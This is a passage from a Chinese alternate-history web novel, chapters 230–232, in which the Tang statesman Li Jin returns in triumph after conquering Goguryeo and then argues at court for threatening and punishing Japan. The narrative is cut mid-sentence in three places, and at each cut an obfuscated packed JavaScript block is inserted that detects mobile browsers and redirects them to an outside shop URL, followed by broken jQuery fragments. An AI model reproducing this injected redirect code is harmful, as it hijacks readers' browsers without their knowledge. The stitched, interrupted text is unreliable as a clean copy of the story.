在登州稍作休整,接受地方官员宴请、视察了登州水寨(此地已成为支援辽东、联系安东的重要水军基地)后,李瑾换乘车马仪仗,在沿途州县官员的迎送和百姓的围观欢呼中,浩浩荡荡向洛阳进发。越靠近中原腹地,凯旋的气氛便越发热烈。道路两旁,不时有士民自发设下香案酒水,箪食壶浆,以迎王师。各地官府更是极力逢迎,道路修缮一新,驿站供应丰盛。消息早已通过朝廷邸报和民间口耳相传,渲染得神乎其神:太子太师李瑾如何运筹帷幄,唐军如何天兵神降,火炮如何雷霆万钧,高句丽如何灰飞烟灭……李瑾的声望,随着凯旋队伍的西进,达到了一个新的巅峰。
抵达洛阳时,场面更是盛大空前。皇帝李治虽因风疾行动不便,仍强撑病体,与天后武媚娘率满朝文武,出定鼎门迎接。洛阳城内,万人空巷,彩棚林立,百姓争相一睹这位“灭国大将”的风采。凯旋仪式极尽隆重:李瑾率主要将领,押解着高句丽王室、叛臣家眷以及缴获的仪仗、珍宝、图书典籍等,在献俘乐曲中,行至宫门。李治亲自接受献俘,宣布将高藏等囚犯献于太庙、昭告列祖列宗后,予以“赦免”,授予闲散官职,囚于洛阳;对泉男生等已死叛臣,则削棺戮尸,传首四方。随后,对东征将士大行封赏,李瑾加实封,赐金银绢帛、奴婢田宅无算,其麾下梁建方、孙仁师、王方翼、杜宾客、高侃、曹怀舜等将领,人人加官晋爵,赏赐丰厚。阵亡将士皆得优恤,荫及子孙。
连续数日,洛阳城内大酺(特许聚饮庆祝),夜不宵禁,丝竹管弦,通宵达旦。朝廷、军方、民间,都沉浸在一片“四海宾服,万国来朝”的盛世狂欢之中。来自四面八方的使节,在四方馆内穿梭往来,向鸿胪寺官员递交国书、贡品,言辞更加谦卑,贡物越发珍奇。吐蕃、突厥等强大对手的使节虽未亲至,但也送来了措辞谨慎的贺表。大唐的威严,似乎在这一刻,伴随着高句丽的覆灭,如日中天,光芒万丈,真正达到了“天可汗”的极致。
然而,在这极致的繁华与荣耀之下,李瑾的心境,却并非全然激昂。朝贺宴饮的间隙,他独处时,会想起平壤城外那片新立的、沉默的纪功碑,想起安东大地尚未完全平复的创伤,想起那些在欢呼声中目光复杂的高句丽遗老,想起倭国使节栗田**那恭敬却深不见底的眼神。他也敏锐地察觉到,二圣对他的态度,在无上的恩宠背后,似乎也有一丝难以言喻的复杂。李治的嘉许中带着欣慰,也有一丝如释重负,或许还有对这位功高震主的“贤婿”未来地位的隐忧?武媚娘的笑容依旧亲切雍容,但眼神深处,那份对权力平衡的本能警觉,似乎也因他此番大功而更加幽深。朝中其他大臣,如郝处俊、李敬玄等,贺喜之余,那份疏离与忌惮,也隐约可感。
这日,宫中大宴。太初宫内,灯火辉煌,乐舞曼妙。李治因身体不适,提前离席。武媚娘代为主持,与群臣、使节同乐。席间,各国使节轮番上前敬酒祝颂,言辞极尽谄媚。一位来自葱岭以西某小国的使者,操着生硬的汉语,高声赞道:“大唐皇帝、天后陛下,德配天地,功过三皇。高句丽跳梁小丑,螳臂当车,顷刻覆灭。此乃天命所归,四海共鉴!小国僻远,得沐天恩,不胜惶恐,愿世世代代,永为大唐藩属,忠心不二!”
此言一出,引来一片附和之声。许多使节纷纷离席,向御座上的武媚娘和坐在下首首席的李瑾跪拜,山呼万岁,声震殿宇。殿中气氛热烈到了顶点。
武媚娘凤颜大悦,举杯示意。她的目光扫过殿下黑压压跪拜的使臣,扫过红光满面、志得意满的群臣,最后落在身旁不远处、神色平静、正自斟自饮的李瑾身上,眼中闪过一丝难以捉摸的光芒。她微微侧身,用仅有两人能听到的声音,对李瑾道:“三郎,你看,这便是我大唐的赫赫天威。四方来朝,万国宾服。你此番平定高句丽,功莫大焉。”
李瑾放下酒杯,微微欠身:“此乃陛下、天后洪福齐天,将士用命,百姓支持之功,臣不敢居功。高句丽自取灭亡,非臣之能。”
武媚娘轻轻一笑,目光重新投向殿中:“话虽如此,可若非三郎你统兵有方,筹谋得当,焉能如此顺利?如今辽东已定,北疆无忧。只是……”她话锋微转,似是无意,“这四夷宾服,是好事。可宾服之下,未必尽是真心。你看那吐蕃,贺表虽至,其赞普近年来在西域、吐谷浑的动作,可曾少了半分?还有那倭国,使节倒是恭顺,可其国内,怕未必安稳。”
李瑾心中一动,知道武媚娘此言绝非随口感慨。他顺着话头,低声道:“天后圣明。夷狄,畏威而不怀德。高句丽之灭,足可震慑群小,然时日一久,难免有遗忘伤痛、再生觊觎者。吐蕃雄踞高原,其心难测;倭国孤悬海外,近年颇有不臣之象,其遣唐使规模、频率皆不如前。北疆虽暂安,然漠北突厥诸部,契丹、奚等,亦需时时敲打。此番四夷来朝,正可借此良机,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073748|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宣示朝廷决断,或可……”他略一停顿,声音更低,“或可重议对倭之策。”
武媚娘眼波流转,瞥了李瑾一眼,没有立即接话,只是举杯浅酌一口。这时,殿中乐舞又起,丝竹之声淹没了低声的交谈。
数日后,例行朝会。在**行赏、抚恤安民等常规议题之后,有大臣出列,慷慨陈词:“陛下,天后,今高句丽已平,四夷震恐,争相来朝。此乃千载难逢之机,正宜大彰天威,遣使巡阅四方,令诸藩明确尊卑,加重贡赋,有不从者,可示以兵威。如此,则天朝纲纪,垂于万世!”
此议得到不少朝臣附和。高句丽的胜利,极大地刺激了一些朝臣的雄心,开边拓土、威加四海的思想开始抬头。
然而,也有务实的大臣提出异议:“陛下,天后,高句丽新定,安东都护府百废待兴,驻军、移民、安抚,所费甚巨。吐蕃在西,突厥在北,皆虎视眈眈。此时若再对四方藩国多加需索,甚至轻启边衅,恐国力难支,腹背受敌。宜当趁此大胜,怀柔远人,稳固安东,休养生息,方是上策。”
朝堂上顿时争论起来。主战派与主和派(实为主稳派)各执一词。李治精神不济,大多时间只是听着。武媚娘则端坐御案之后,神色平静,不置可否。
争论良久,武媚娘将目光投向一直沉默的李瑾:“太子太师,你久在边关,熟知夷情。此番又立不世之功,于国威宣扬,可有建言?”
所有人的目光瞬间聚焦到李瑾身上。他的态度,将具有举足轻重的影响力。
李瑾出列,向御座躬身一礼,然后转身面向群臣,声音清晰沉稳:“陛下,天后,诸位同僚。高句丽之平,赖陛下、天后神武,将士用命,此诚可喜。然,武功之后,必有文治。安东新附,民心未固,当务之急,是稳固东北,消化其地其民,使之渐成内地,此乃长治久安之基。对四方藩国,臣以为,当示之以威,怀之以德,区别对待。”
他顿了顿,继续道:“对吐蕃、突厥等强邻,当加强边防,增派斥候,侦知其动向,以震慑为主,不可轻易挑衅。对其使节,可厚加赏赐,以示宽仁,亦显我大唐富庶,不惧挑战。对西域诸国、漠北诸部,当重申旧好,巩固商路,使其得通商之利,自然依附。对新罗、百济遗民等恭顺者,当施恩固结,以为安东屏藩。”
“至于倭国,”李瑾话锋一转,声音略沉,“其国自白江口一役后,表面恭顺,遣使求学,然近年来,朝贡渐疏,其国中自称‘**’,制度、服饰多仿我朝,却又刻意保持距离。此次高句丽灭国,其使虽至,然观其言行,敬畏有之,真心顺服则未必。且闻其国内,权臣苏我氏虽除,然天智**(指中大兄皇子,此时已即位为天智**)亦有雄心,改革律令,加强集权,其水军亦有所整顿。臣以为,对倭国,当遣使责其不勤职贡,令其国王或储君亲自来朝解释,以观其态度。同时,登州、莱州水师,当加强巡弋,震慑海疆。若其恭顺如初,则可容之;若其阳奉阴违,心怀叵测……”
他没有再说下去,但殿中群臣都已明白其中含义。跨海用兵,风险巨大,但若倭国真有异动,以大唐新平高句丽之威,挟大胜之师,跨海东征,也并非不可想象。一时间,殿中安静下来,众人都在消化李瑾这番话中隐含的、可能指向下一个战略方向的凛冽意味。
武媚娘听完,脸上露出一丝不易察觉的赞许,微微颔首:“太子太师所言,老成谋国。武功之盛,当为文治之资,不可恃之而骄。对四方藩国,恩威并施,区别对待,甚合朕意。倭国之事,鸿胪寺、兵部当详加探查,谨慎处置。今日之议,且至此。散朝。”
朝会散去。李瑾走出宫门,阳光有些刺眼。洛阳城的繁华喧嚣扑面而来,远处四方馆方向,依稀还能听到异域语言的交谈声和驼铃声响。他深吸一口气。高句丽的烽火已经熄灭,但“天朝威名”带来的,不仅仅是万邦来朝的虚荣,更有四方审视的目光、潜在的挑战,以及帝国决策者心中,那随着力量增长而悄然膨胀的、对更远方的好奇与野心。
辽东似乎永定矣。但世界的棋盘上,棋子永远在移动。大唐的赫赫天威,如同投石入水,激起的涟漪,正向着更遥远的海域,缓缓扩散开去。而下一波浪潮,或许就在那日出之国的方向酝酿。
第231章 倭国拒朝贡
麟德七年,秋。
洛阳的喧嚣与荣耀随着秋风渐起,稍稍沉淀。李瑾受封“上柱国”,加“开府仪同三司”,实封增至两千户,赏赐无算,恩宠已极。他交卸了安东大都护的差事,但依旧总领辽东、河北部分军事,并兼领着修订《姓氏录》、督办“格物院”等实务,每日忙碌于政事堂与各部衙署之间,仿佛高句丽的烽烟与平壤的纪功碑,都已成为书卷中渐行渐远的记载。
然而,朝堂的平静之下,暗流从未停歇。一则来自登州、经鸿胪寺急递入京的消息,如同投入深潭的石子,激起了不大不小的涟漪,也让一些嗅觉敏锐的人,再次将目光投向了东方那片波涛汹涌的海洋。
消息很简单,却足以让负责外交事务的鸿胪寺官员眉头紧锁:倭国(此时日本国内自称“日本”尚未被唐朝官方完全接受,官方文书多仍称“倭国”)新任遣唐使、执节使栗田**,在抵达登州后,并未如常立即请求入京朝觐,反而以“风浪颠簸,身体不适,需在登州调养,并等候国内新旨意”为由,滞留登州馆驿,迟迟不行。更耐人寻味的是,与栗田**同来的数艘倭船中,有随行官员私下向登州市舶司的翻译透露,倭国朝廷可能“因国内多事,或将暂缓、乃至暂停派遣遣唐使及留学生”。
“暂停遣唐使?”政事堂内,刚刚得知消息的郝处俊放下手中的茶盏,眉头紧蹙,“自前隋至今,倭国仰慕中华文化,遣使不绝。尤其白江口一役后,其国更是恭顺有加,遣唐使规模、频率尤胜前朝。此番我朝新灭高句丽,威加四海,正当万国来朝之际,倭国不增使节、厚礼以贺,反有暂停之意?是何道理?”
旁边的李敬玄捻着胡须,沉吟道:“倭人素来狡黠多变,不可不防。昔年白江口之战,其国便曾联兵百济,图谋不轨。虽遭大败,口服心未必服。此番高句丽覆灭,其国隔海相望,岂无唇亡齿寒之感?暂停遣使,或是观望,或是其国内有变,亦未可知。”
“**所言不无道理。”侍中(门下省长官)薛元超接口道,“鸿胪寺报,那倭使栗田**,在登州虽称病不出,然其随从却时有外出,与登州本地海商、乃至新罗、百济遗民有所接触,行迹颇为可疑。且其国近年自称‘日出处天子’、‘日本’,国书称谓屡有不恭,其王(指天智**,后即位为天智**)改革律令,号‘近江令’,颇有效仿我朝、又欲自立门户之意。此番举动,恐非偶然。”
几位宰相的目光,不约而同地投向了坐在另一侧,正凝神看着手中一份关于安东都护府秋粮收成文书的李瑾。
李瑾仿佛才从文书中回过神来,放下卷宗,神色平静:“倭国之事,鸿胪寺与兵部职方司,可有更详尽的探查?”
“正要禀报太子太师。”刚刚被召来问话的鸿胪寺卿连忙上前一步,躬身道,“据职方司安插在对马岛、壹岐岛的耳目回报,以及往来倭国的海商零星传言,倭国近年来确有多事。其一,其王中大兄皇子(天智**)年事渐高,体弱多病,国政多由其弟大海人皇子(后来的天武**)及重臣中臣镰足等执掌,内部似有暗流。其二,自高句丽覆灭消息传至倭国,其国朝野震动,议论纷纷。有主张继续恭事大唐,潜心学习者;亦有认为唐灭高句丽,其势太盛,倭国孤悬海外,当积蓄国力,谨慎自守,甚至有暗地里鼓吹‘神国自立’,防备唐人渡海东侵之声。其三,倭国近年来在其九州、本州沿海修筑城栅,整顿水军船只,虽多以防备‘海贼’为名,但其练兵造船之规模,远超防盗所需。”
李瑾点了点头,又问:“那栗田**,其人如何?”
鸿胪寺卿回道:“栗田氏乃倭国贵族,栗田**通晓汉文典籍,历任遣唐使录事、判官,此番是首次出任执节使(大使)。此人素有才干,处事圆滑,然观其在登州所为,称病不出是真,但更像是等待国内进一步指令,或是在观望我朝态度。其随从私下接触之人,多与海贸、消息打探有关。”
殿内一时沉寂。倭国的反常举动,结合其国内的情报,指向一个不太妙的趋势:这个一向以恭顺学生自居的海东岛国,似乎在高句丽灭亡的巨大冲击下,产生了强烈的危机感和自立倾向,开始有意无意地拉开与大唐的距离,甚至隐隐表现出戒备和不臣之心。
“暂停遣唐使……”李瑾轻声重复了一遍,嘴角泛起一丝冷意,“遣唐使,不止是朝贡使节,更是其国学习我华夏典章制度、文化技艺的主要渠道。暂停遣使,意味着关闭最重要的学习窗口。这是要自立门户,还是要闭关自守,以待时机?”
郝处俊哼了一声:“蕞尔岛夷,得沐王化,方有今日规模。如今稍具气象,便欲背弃师道,妄自尊大,实乃忘恩负义,不识天数!”
李敬玄则相对谨慎:“太子太师,倭国孤悬海外,与我中土有大海相隔。其国虽小,然民风悍勇,地形复杂。昔年白江口一战,虽获大胜,然跨海远征,补给艰难,风险极大。今高句丽新平,安东未固,吐蕃、突厥在北在西,虎视眈眈。是否值得为倭国些许不恭之举,再兴兵戈?或可遣使严词诘问,令其解释,观其后效?”
薛元超也道:“**所言,老成持重。或可令登州官员,召见那栗田**,严词质问其滞留不行、暂停遣使之故,晓以利害,令其速递国书入朝解释。若其幡然悔悟,则羁縻如旧;若其执迷,再议不迟。”
几位宰相的意见,大体偏向外交施压,谨慎行事。毕竟,跨海远征一个海岛国家,在此时的唐朝君臣看来,依然是代价高昂、风险巨大的选择。高句丽的胜利,并未完全冲昏所有人的头脑。
李瑾没有立即表态。他起身,走到悬挂在政事堂侧壁的巨幅《大唐寰宇图》前,目光落在辽东半岛以东那片波浪形的海域,以及海域东侧那个狭长的岛链上。那是倭国(日本)。他的手指轻轻划过朝鲜半岛与倭国之间的海峡——那里标注着“白江口”。
“白江口之战,距今已二十余载。”李瑾缓缓开口,声音不大,却清晰地传入每个人耳中,“当年,倭国倾举国之兵,联百济残部,与我大唐、新罗联军决战于白江口。我军以少胜多,焚其舟舰四百艘,倭兵溺死者众,其国为之震恐。此后二十余年,倭国遣使不绝,学子僧侣,往来如织,看似恭顺求学。”
他转过身,目光扫过几位同僚:“然,恭顺之下,其心可曾真正臣服?彼辈学习我典章文物,改革其制度,自称‘**’,用我年号,行我礼仪,其意非在永为藩属,而在自强。今高句丽,曾雄踞辽东数百年,屡抗中原,终至倾覆。此等前车之鉴,倭国君臣,岂能无感?唇亡齿寒,物伤其类。我灭高句丽,在彼辈眼中,非仅除一恶邻,更是天朝兵锋之展示。其国中,岂能无‘唐军下一步,是否跨海而来’之惧?”
“既有此惧,则其暂停遣使,整顿武备,暗怀异志,便在情理之中。”李瑾走回座位,语气转冷,“此非一时之意气,实乃其国策或有转变。彼辈或以为,隔海相望,天朝虽强,跨海征伐,谈何容易。故敢阳奉阴违,渐露不臣之相。”
“太子太师之意是?”郝处俊问道。
“倭国之事,已非简单藩国不恭。”李瑾沉声道,“高句丽新灭,四夷震恐,此诚然。然震恐之后,必有反复。强者示弱,必招觊觎;威权偶弛,则生轻慢。吐蕃、突厥,陆上强敌,我朝可陈重兵以御之。而倭国,隔海之患,若任其坐大,蓄力自强,待其水师渐成,与朝鲜半岛之新罗、百济遗民,乃至与我朝沿海之不安分者暗通款曲,则必成我东顾之忧,海疆之患!今其暂停遣使,便是信号。若我朝不闻不问,或仅以言辞诘责,彼必以为我朝畏其海险,或无力东顾,其不臣之心将愈炽,其自立之志将愈坚。待其羽翼丰满,再行处置,则难矣。”
他顿了顿,目光锐利:“故,对倭国,不可仅以寻常藩国待之。其既有不臣之兆,便当示之以威,探其虚实,早作决断。**、薛相所言遣使诘问,可也。然所遣之使,当为强使,持节杖,携诏书,直入其国都,面见其王,责其不庭,问其停使之故,令其明确表态:是永绝遣使,自外王化?是暂缓行事,有何隐情?是内部
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073749|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有变,需我天朝册封正名?必须有个明确说法!同时,命登州、莱州、楚州(今江苏淮安)水师,加强巡弋,整备舟师,做出随时可跨海东进之姿态。水师可护送达使前往,以壮声威。”
“若其王推诿搪塞,或态度倨傲,又当如何?”李敬玄追问。
李瑾手指在案几上轻轻一叩,声音不大,却带着金石之音:“那便需请旨陛下、天后,集廷议,商征伐之备。高句丽可平,隔海之倭,何足道哉?然此乃后话。当务之急,是遣使以观其志,整军以慑其心。若其果有异志,则我朝需早定方略,不可养痈为患。”
几位宰相闻言,神色皆是一凛。他们听出了李瑾话中隐含的深意:对倭国,已从“羁縻抚慰”的范畴,提升到了“警惕、威慑、必要时准备征讨”的战略层面。这无疑是一个重大的政策转向信号。
“太子太师所虑深远。”薛元超缓缓道,“只是,跨海用兵,非同小可。水师、粮秣、天时、地利,皆需详加筹划。且出师需有名。倭国目前只是‘暂停遣使’,并未公然反叛,若兴兵讨伐,恐遭物议,谓我天朝恃强凌弱,有损陛下、天后仁德之名。”
“出师之名?”李瑾眼中寒光一闪,“白江口旧恨,可曾遗忘?倭国昔年联兵百济,侵我藩属,其罪一也。自我平高句丽,其不增贺使,反停遣唐,轻慢上国,其罪二也。暗整水师,修葺边备,其心叵测,其罪三也。若其使至,言辞不恭,或阳奉阴违,则其不臣之罪,昭然若揭!届时,再提白江口旧事,言其累世之恶,今又故态复萌,我天朝为保海疆安宁,为护藩属正道,不得已而用兵,名正言顺!”
他语气斩钉截铁:“非常之时,当有非常之谋。倭国事小,然其所系者大。此乃是否能让四夷真正畏服,能否确保辽东、安东长治久安,乃至我大唐海疆未来数十年太平之关键!岂可因循苟且,坐视隐患滋长?”
一番话,说得几位宰相默然。他们固然有各种顾虑,但李瑾站在更高的战略层面,指出了问题的严峻性和提前处置的必要性。尤其是将倭国动向与安东稳定、海疆安全挂钩,让人不得不深思。
最终,政事堂达成初步意见:即刻以朝廷名义,遣一强使,持节赴登州,召见倭使栗田**,严词诘问,并令其即刻递表入朝解释;同时,命其传书回国,要求倭国朝廷就暂停遣唐使等事,给出明确答复。同时,密令登州、莱州等地水师加强戒备,整训舟师,以备不虞。至于后续是否征讨,则需视倭国回应和二圣旨意再定。
决议形成文书,由政事堂诸相署名,送入宫中,等候皇帝和天后的最终裁决。
走出政事堂,秋日的阳光有些晃眼。李瑾抬头望了望东方的天空,那里除了悠悠白云,什么也看不见。但他知道,在海的那一边,那个岛国上的君臣,此刻想必也正在为如何应对大唐这个刚刚展现了恐怖实力的巨人而激烈争论着。
“暂停遣唐使……”李瑾低声自语,嘴角的冷意更深了些,“或许,这只是一个开始。也好,该来的,总会来。白江口的旧账,连同可能的新怨,或许到了该一并清算的时候了。”
他想起后世历史上,倭国在唐代中后期逐渐停止遣唐使,走上独立发展的道路,并在后世给中原王朝带来无数麻烦。如今,既然自己来到了这个时代,大唐的国力、军力、尤其是水师力量,因自己的出现和“格物院”的推动,已远胜原本的历史轨迹,那么,是否有可能将潜在的海疆威胁,扼杀在萌芽状态?或者,至少在其尚未完全“闭关”之前,给予其足够的震慑,迫使其继续保持在朝贡体系之内?
鸿胪寺的官员带着政事堂的文书匆匆离去。一道道命令将从洛阳发出,奔向登州,奔向沿海各水寨。大唐帝国的庞大机器,再次因为东海彼岸的一点涟漪,而开始了缓慢却坚定的转动。战争的阴云,或许还未**,但审视与威慑的目光,已然投向那片波涛之外的岛屿。
洛阳城中,依旧是一片盛世繁华景象。唯有少数知情者的心头,笼罩上了一层淡淡的、来自海洋深处的迷雾。
第232章 白江口旧恨
麟德七年,冬。
登州传来的消息,最终印证了朝廷最坏的猜测。倭国执节使栗田**在接到朝廷“严词诘问、即刻入朝解释”的敕令后,并未如预期般惶恐请罪,反而在拖延了十余日后,递上了一道用词恭谨、实则绵里藏针的“陈情表”。
表文中,栗田**(或者说,倭国朝廷借他之口)先是极力颂扬大唐皇帝、天后圣德,感念天朝多年教化之恩,随后话锋一转,声称“鄙国僻处海东,近年天灾频仍,疫病流行,国中多故,府库空虚”,故而“遣使之费,实难筹措”,请求“暂缓遣唐使数年,待国中稍苏,再行遣使,永续旧好”。至于整顿水师、修筑边备之事,则轻描淡写地解释为“防备海贼,绥靖地方”,并信誓旦旦“绝无丝毫悖逆之心,天日可鉴”。最后,恳请大唐“体恤下国艰难”,并“恩准”栗田**等“因病体未愈”,先行返回倭国“调治”,待他日国中安定,再遣“纯诚之使”前来朝贡。
这道表文被快马加鞭送至洛阳,送达政事堂时,已是腊月。窗外寒风凛冽,堂内炭火正旺,但宰相们的脸色,却比外面的天气还要冷峻几分。
“好一个‘暂缓数年’!好一个‘防备海贼’!”郝处俊将表文抄本重重拍在案几上,花白的胡须气得微微颤抖,“倭奴狡诈,竟敢如此敷衍天朝!此表看似谦卑,实则倨傲!暂缓遣使是假,断绝往来是真!防备海贼?我大唐水师巡弋海疆,海靖波平,何来大股海贼需其举国戒备?分明是暗怀异志,厉兵秣马,欲行不轨!”
李敬玄捻着胡须,脸色阴沉:“其言‘国中多故,府库空虚’,或非全然虚言。然以此为借口,断绝遣使,实属悖逆。遣使之费能有多少?不过借口罢了。更可疑者,是其使节竟求先行归国!这分明是做贼心虚,恐我朝扣留人质,或从其口中探知虚实!”
薛元超叹息一声:“观此表文,倭国其心已异。所谓暂缓,恐是永绝。高句丽方平,四夷震恐未定,倭国便敢如此,若我朝不施以惩戒,他日吐蕃、突厥、西域诸国,乃至新罗、渤海,岂不皆有样学样?天朝威严何存?”
所有人的目光再次聚焦于李瑾。自高句丽凯旋后,李瑾在对外战略,尤其是东夷、海疆事务上的话语权,已无人能及。此刻,他正拿着那份表文的原件,目光沉静地逐字阅读,脸上看不出喜怒。
良久,李瑾放下绢帛,缓缓开口,声音不高,却带着一种金属般的冷冽:“诸位相公所言,皆中要害。倭国此举,名为乞缓,实为断绝。其国中或有灾疫困顿,然绝非主因。主因在于,高句丽之灭,令其惊惧交加,畏我兵威,又自恃海险,欲行割据自立之事。其所谓整顿水师,名为防贼,实则防唐。此番表文,乃是试探,试探我朝反应,试探我朝是否有跨海征伐之决心与能力。”
他站起身,走到悬挂的巨幅地图前,手指点在朝鲜半岛与倭国九州岛之间的海域。“倭国自恃者,无非大海天堑。彼以为,前隋三次征高句丽而无功,前朝大军亦曾受阻辽泽坚城。唐虽强,能灭高句丽于陆,未必能渡海伐岛国。此乃其敢于如此敷衍之底气所在。”
“然则,我朝岂可坐视?”郝处俊怒道,“当立即下诏,严词斥责,命其国王亲来洛阳谢罪,并即刻恢复遣使,否则,天兵一到,玉石俱焚!”
“下诏斥责,自然要下。”李瑾转过身,目光如电,“然仅凭言辞,恐难撼其心。彼既已决心试探,必已做好与我朝交恶之准备。寻常诏书,不过废纸。需有雷霆之势,方能使彼辈知惧。”
“太子太师之意是……”薛元超试探问道。
“重提旧事,明其罪状;陈兵海上,示我决心;遣使问罪,观其应对。三步并进,迫其抉择。”李瑾斩钉截铁,“若其幡然悔悟,亲来谢罪,恢复旧制,则羁縻如故,然其水师需受我监察,其国政需向我报备。若其执迷不悟,甚或口出狂言……”他停顿了一下,声音更冷,“则新账旧账,一并清算!届时,白江口之水,可还没忘记二十多年前的血色!”
“白江口!”几位宰相心头都是一震。那是龙朔三年(663年)的旧事,距今已二十余载。当年,倭国倾举国水师,联合百济残部,与唐朝、新罗联军大战于白江口(朝鲜半岛锦江入海口),结果被唐将刘仁轨、刘仁愿等率领的唐军水师大败,四百余艘战船焚毁沉没,海水为之染赤。此战彻底粉碎了倭国干预朝鲜半岛的野心,奠定了此后一段时间东北亚的格局,也迫使倭国在此后二十余年里,对唐朝保持极度恭顺,不断遣使学习。
“白江口旧恨……”李敬玄沉吟道,“时过境迁,旧事重提,以作出兵之名,朝野恐有非议,谓我朝翻旧账,欺凌弱国。”
“旧恨?”李瑾冷笑一声,走回案前,拿起一份他事先准备好的卷宗,“**,此非旧恨,实乃倭国累世不臣之铁证!我早已命人查阅馆阁旧档,汇集倭国自前隋以来,种种狂悖、不敬、乃至侵扰之行迹。”
他翻开卷宗,朗声念道:“前隋大业三年,倭国遣使小野妹子至隋,其国书竟称‘日出处天子致书日没处天子’,狂妄无礼,隋帝不悦。此为其一。”
“前隋时,倭国曾暗中支持高句丽,阻挠隋军,其心可诛。此为其二。”
“国朝初年,倭国与百济、高句丽暗通款曲,屡有使者往来,图谋不轨。贞观年间,其国更收留高句丽、百济逃亡贵族,阴蓄异志。此为其三。”
“至龙朔年间,其国竟敢悍然发兵数万,战船千余,渡海与百济残部勾结,公然与我天朝为敌,白江口一战,焚我战船(唐方亦有损失),杀我将士,其罪滔天!此为其四!”
“白江口败后,其国虽表面称臣,然自称‘**’,用我年号、官制,却行自立之实,国中常以‘神国’自诩,轻视华夏。此为其五。”
“如今,见我新灭高句丽,不思加倍恭顺,反生异心,停派遣使,整顿水师,其不臣之心,昭然若揭!此为其六!”
李瑾合上卷宗,目光扫过众人:“有此六条,倭国之罪,罄竹难书!白江口之役,非是旧恨,乃是其累累罪行中最为昭彰之一件!其国非但未曾真心悔过,反因我朝宽仁,变本加厉!今高句丽既平,安东新设,海疆之安,关乎东北大局。倭国孤悬海外,若任其坐大,与朝鲜半岛之新罗(需警惕)、百济遗民,乃至沿海不安分之徒勾结,则必成我朝心腹之患!今日其敢停派遣使,明日就敢侵扰新罗,后日就敢寇我登莱!岂可因大海阻隔,便养虎遗患?”
他深吸一口气,语气转为沉痛激昂:“诸位试想,白江口一战,我大唐多少忠勇将士,血染碧波,埋骨异域?彼时先帝(太宗)在位,犹以此为大憾!今我朝国力之盛,军威之强,远胜昔日。高句丽此等陆上强国,数月而平。倭国,一海岛小邦,仰我鼻息而存,竟敢效尤高句丽,行悖逆之事!若不以雷霆之势,犁庭扫穴,永绝后患,则白江口殉国之将士英灵何安?则四夷观之,岂不以为我大唐可欺?则后世史笔,将如何评说我等当国之人,畏缩苟安,坐视海疆不宁?!”
这一番话,既有理有据,又充满感情,尤其是提到白江口殉国将士,更是让在座众人动容。郝处俊拍案而起:“太子太师所言极是!倭国恶行累累,今又自绝于天朝,若不征讨,何以告慰先烈?何以震慑四夷?老臣愿附议,请陛下、天后下诏,明数倭国之罪,兴问罪之师!”
李敬玄和薛元超对视一眼,也看到了彼此眼中的凝重与决断。李瑾的论述,已将倭国问题从简单的“遣使礼仪”之争,上升到了**、历史旧账、天朝威严的战略高度。尤其是将倭国与高句丽类比,指出其潜在威胁,极具说服力。在唐朝刚刚取得灭国大胜、国势如日中天的背景下,这种“卧榻之侧岂容他人鼾睡”的强势思维,很容易获得共鸣。
“太子太师思虑周全,老臣亦以为,倭国之事,不可姑息。”李敬玄缓缓道,“然跨海用兵,非同小可。水师需整顿,战舰需修缮,粮秣需转运,天时需择取。更需详探倭国山川地理、**。非有万全准备,不可轻动。”
薛元超补充道:“还有新罗。新罗与倭国有世仇,亦是我朝藩属。若征倭国,新罗态度至关重要。是令其出兵助战,还是严守中立,需早定方略。此外,朝中恐怕亦有不同声音,需预先绸缪。”
李瑾点头:“二位相公所虑甚是。征伐乃国之大事,自当谋定后动。我意,可分三步走:其一,立即以陛下、天后名义,颁诏天下,明数倭国自前隋以来,特别是白江口之战及现今停派遣使之罪,诏书中可重提白江口旧事,申明此乃讨逆复仇、伸张天讨之义战!此诏须传檄四方,尤其是新罗、渤海、乃至吐蕃、突厥,使其知我出兵之名正言顺!”
“其二,命兵部、户部、工部,即刻着手筹备。登州、莱州、楚州、明州(今宁波)诸水师,加紧整训,检修战船,储备箭矢、火器(火炮、猛火油等)、粮秣。着令将作监、格物院,协助水师,改良海船,研制适于跨海作战之军械。同时,遣精干斥候,假扮商人、僧侣,潜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073750|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入倭国,详绘其海岸、港口、道路、城池之图,打探其兵力虚实、国内舆情。”
“其三,遣一重臣为特使,持此问罪诏书,率精锐水师一部,护送前往倭国。一则向其国王当面问罪,观其反应;二则,亦是武装巡弋,展示军威,探查其海防虚实。若其国王畏惧,亲缚请罪,或可暂缓兵锋,然其国政、水师,必须受我监管。若其稍有迟疑,或出言不逊,则特使即可凭诏书,宣示其罪,断绝邦交,我大军随后即至!”
